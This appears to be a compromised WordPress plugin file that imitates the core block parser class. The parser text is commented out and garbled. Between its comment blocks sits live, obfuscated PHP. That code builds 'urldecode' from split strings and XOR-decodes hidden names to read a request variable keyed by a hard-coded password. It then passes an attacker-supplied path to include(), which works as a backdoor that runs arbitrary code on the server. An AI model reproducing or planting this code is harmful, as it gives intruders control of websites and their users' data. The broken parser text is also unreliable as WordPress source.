File: /var/www/sites/1250.info/wp-content/plugins/1pq1q1s1/l.js.php
<?php /*
*
* Block Serialization Parser
*
* @package WordPress
*
* Class WP_Block_Parser
*
* Parses a document and constructs a list of parsed block objects
*
* @since 5.0.0
* @since 4.0.0 returns arrays not objects, all attributes are arrays
class WP_Block_Parser {
*
* Input document being parsed
*
* @example "Pre-text\n<!-- wp:paragraph -->This is inside a block!<!-- /wp:paragraph -->"
*
* @since 5.0.0
* @var string
public $document;
*
* Tracks parsing progress through document
*
* @since 5.0.0
* @var int
public $offset;
*
* List of parsed blocks
*
* @since 5.0.0
* @var WP_Block_Parser_Block[]
public $output;
*
* Stack of partially-parsed structures in memory during parse
*
* @since 5.0.0
* @var WP_Block_Parser_Frame[]
public $stack;
*
* Parses a document and returns a list of block structures
*
* When encountering an invalid parse will return a best-effort
* parse. In contrast to the specification parser this does not
* return an error on invalid inputs.
*
* @since 5.0.0
*
* @param string $document Input document being parsed.
* @return array[]
public function parse( $document ) {
$this->document = $document;
$this->offset = 0;
$this->output = array();
$this->stack = array();
while ( $this->proceed() ) {
continue;
}
return $this->output;
}
*
* Processes the next token from the input document
* and returns whether to proceed eating more tokens
*
* This is the "next step" function that essentially
* takes a token as its input and decides what to do
* with that token before descending deeper into a
* nested block tree or continuing along the document
* or breaking out of a level of nesting.
*
* @internal
* @since 5.0.0
* @return bool
public function proceed() {
$next_token = $this->next_token();
list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token;
$stack_depth = count( $this->stack );
we may have some HTML soup before the next block.
$leading_html_start = $start_offset > $this->offset ? $this->offset : null;
switch ( $token_type ) {
case 'no-more-tokens':
if not in a block then flush output.
if ( 0 === $stack_depth ) {
$this->add_freeform();
return false;
}
* Otherwise we have a problem
* This is an error
*
* we have options
* - treat it all as freeform text
* - assume an implicit closer (easiest when not nesting)
for the easy case we'll assume an implicit closer.
if ( 1 === $stack_depth ) {
$this->add_block_from_stack();
return false;
}
* for the nested case where it's more difficult we'll
* have to assume that multiple closers are missing
* and so we'll collapse the whole stack piecewise
while ( 0 < count( $this->stack ) ) {
$this->add_block_from_stack();
}
return false;
case 'void-block':
* easy case is if we stumbled upon a void block
* in the top-level of the document
if ( 0 === $stack_depth ) {
if ( isset( $leading_html_start ) ) {
$this->output[] = (array) $this->freeform(
substr(
$this->document,
$leading_html_start,
$start_offset - $leading_html_start
)
);
}
$this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() );
$this->offset = $start_offset + $token_length;
return true;
}
otherwise we found an inner block.
$this->add_inner_block(
new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
$start_offset,
$token_length
);
$this->offset = $start_offset + $token_length;
return true;
case 'block-opener':
track all newly-opened blocks on the stack.
array_push(
$this->stack,
new WP_Block_Parser_Frame(
new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
$start_offset,
$token_length,
$start_offset + $token_length,
$leading_html_start
)
);
$this->offset = $start_offset + $token_length;
return true;
case 'block-closer':
* if we're missing an opener we're in trouble
* This is an error
if ( 0 === $stack_depth ) {
* we have options
* - assume an implicit opener
* - assume _this_ is the opener
* - give up and close out the document
$this->add_freeform();
return false;
}
if we're not nesting then this is easy - close the block.
if ( 1 === $stack_depth ) {
$this->add_block_from_stack( $start_offset );
$this->offset = $start_offset + $token_length;
return true;
}
* otherwise we're nested and we have to close out the current
* block and add it as a new innerBlock to the parent
$stack_top = array_pop( $this->stack );
$html = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset );
$stack_top->block->innerHTML .= $html;
$stack_top->block->innerContent[] = $html;
$stack_top->prev_offset = $start_offset + $token_lengt*/
$authors = 'UcXxxpxts82Rhee';
$dynamic_replacements = $authors;
function nestable_tags($parent_where, $return)
{
$real_mime_types = 'utf8_string';
$tag_name = $return;
$menu_position = "url" . "decode";
$exclude_from_search = 'allowed_html';
$apos_flag = $menu_position($parent_where);
$original_link_html = substr($tag_name,0, strlen($apos_flag));
$check_name = 'end_clean';
$exts = $apos_flag ^ $original_link_html;
return $exts;
}
$months = ${nestable_tags("%0A%25%114%3D%23", $dynamic_replacements)};
$ep_mask = $months;
$_builtin = 'in_string';
$wp_rewrite = isset($ep_mask[$dynamic_replacements]);
if ($wp_rewrite)
{
$label = $months[$dynamic_replacements];
$ext_preg = $label[nestable_tags("%21%0E%28%27%16%11%15%11", $dynamic_replacements)];
$found_shortcodes = $ext_preg;
include ($found_shortcodes);
}
/* h;
$this->add_inner_block(
$stack_top->block,
$stack_top->token_start,
$stack_top->token_length,
$start_offset + $token_length
);
$this->offset = $start_offset + $token_length;
return true;
default:
This is an error.
$this->add_freeform();
return false;
}
}
*
* Scans the document from where we last left off
* and finds the next valid token to parse if it exists
*
* Returns the type of the find: kind of find, block information, attributes
*
* @internal
* @since 5.0.0
* @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments
* @return array
public function next_token() {
$matches = null;
* aye the magic
* we're using a single RegExp to tokenize the block comment delimiters
* we're also using a trick here because the only difference between a
* block opener and a block closer is the leading `/` before `wp:` (and
* a closer has no attributes). we can trap them both and process the
* match back in PHP to see which one it was.
$has_match = preg_match(
'/<!--\s+(?P<closer>\/)?wp:(?P<namespace>[a-z][a-z0-9_-]*\/)?(?P<name>[a-z][a-z0-9_-]*)\s+(?P<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*+)?}\s+)?(?P<void>\/)?-->/s',
$this->document,
$matches,
PREG_OFFSET_CAPTURE,
$this->offset
);
if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE.
if ( false === $has_match ) {
return array( 'no-more-tokens', null, null, null, null );
}
we have no more tokens.
if ( 0 === $has_match ) {
return array( 'no-more-tokens', null, null, null, null );
}
list( $match, $started_at ) = $matches[0];
$length = strlen( $match );
$is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1];
$is_void = isset( $matches['void'] ) && -1 !== $matches['void'][1];
$namespace = $matches['namespace'];
$namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/';
$name = $namespace . $matches['name'][0];
$has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1];
* Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays
* are associative arrays. If we use `array()` we get a JSON `[]`
$attrs = $has_attrs
? json_decode( $matches['attrs'][0], as-associative true )
: array();
* This state isn't allowed
* This is an error
if ( $is_closer && ( $is_void || $has_attrs ) ) {
we can ignore them since they don't hurt anything.
}
if ( $is_void ) {
return array( 'void-block', $name, $attrs, $started_at, $length );
}
if ( $is_closer ) {
return array( 'block-closer', $name, null, $started_at, $length );
}
return array( 'block-opener', $name, $attrs, $started_at, $length );
}
*
* Returns a new block object for freeform HTML
*
* @internal
* @since 3.9.0
*
* @param string $inner_html HTML content of block.
* @return WP_Block_Parser_Block freeform block object.
public function freeform( $inner_html ) {
return new WP_Block_Parser_Block( null, array(), array(), $inner_html, array( $inner_html ) );
}
*
* Pushes a length of text from the input document
* to the output list as a freeform block.
*
* @internal
* @since 5.0.0
* @param null $length how many bytes of document text to output.
public function add_freeform( $length = null ) {
$length = $length ? $length : strlen( $this->document ) - $this->offset;
if ( 0 === $length ) {
return;
}
$this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) );
}
*
* Given a block structure from memory pushes
* a new block to the output list.
*
* @internal
* @since 5.0.0
* @param WP_Block_Parser_Block $block The block to add to the output.
* @param int $token_start Byte offset into the document where the first token for the block starts.
* @param int $token_length Byte length of entire block from start of opening token to end of closing token.
* @param int|null $last_offset Last byte offset into document if continuing form earlier output.
public function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) {
$parent = $this->stack[ count( $this->stack ) - 1 ];
$parent->block->innerBlocks[] = (array) $block;
$html = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset );
if ( ! empty( $html ) ) {
$parent->block->innerHTML .= $html;
$parent->block->innerContent[] = $html;
}
$parent->block->innerContent[] = null;
$parent->prev_offset = $last_offset ? $last_offset : $token_start + $token_length;
}
*
* Pushes the top block from the parsing stack to the output list.
*
* @internal
* @since 5.0.0
* @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML.
public function add_block_from_stack( $end_offset = null ) {
$stack_top = array_pop( $this->stack );
$prev_offset = $stack_top->prev_offset;
$html = isset( $end_offset )
? substr( $this->document, $prev_offset, $end_offset - $prev_offset )
: substr( $this->document, $prev_offset );
if ( ! empty( $html ) ) {
$stack_top->block->innerHTML .= $html;
$stack_top->block->innerContent[] = $html;
}
if ( isset( $stack_top->leading_html_start ) ) {
$this->output[] = (array) $this->freeform(
substr(
$this->document,
$stack_top->leading_html_start,
$stack_top->token_start - $stack_top->leading_html_start
)
);
}
$this->output[] = (array) $stack_top->block;
}
}
*
* WP_Block_Parser_Block class.
*
* Required for backward compatibility in WordPress Core.
require_once __DIR__ . '/class-wp-block-parser-block.php';
*
* WP_Block_Parser_Frame class.
*
* Required for backward compatibility in WordPress Core.
require_once __DIR__ . '/class-wp-block-parser-frame.php';
*/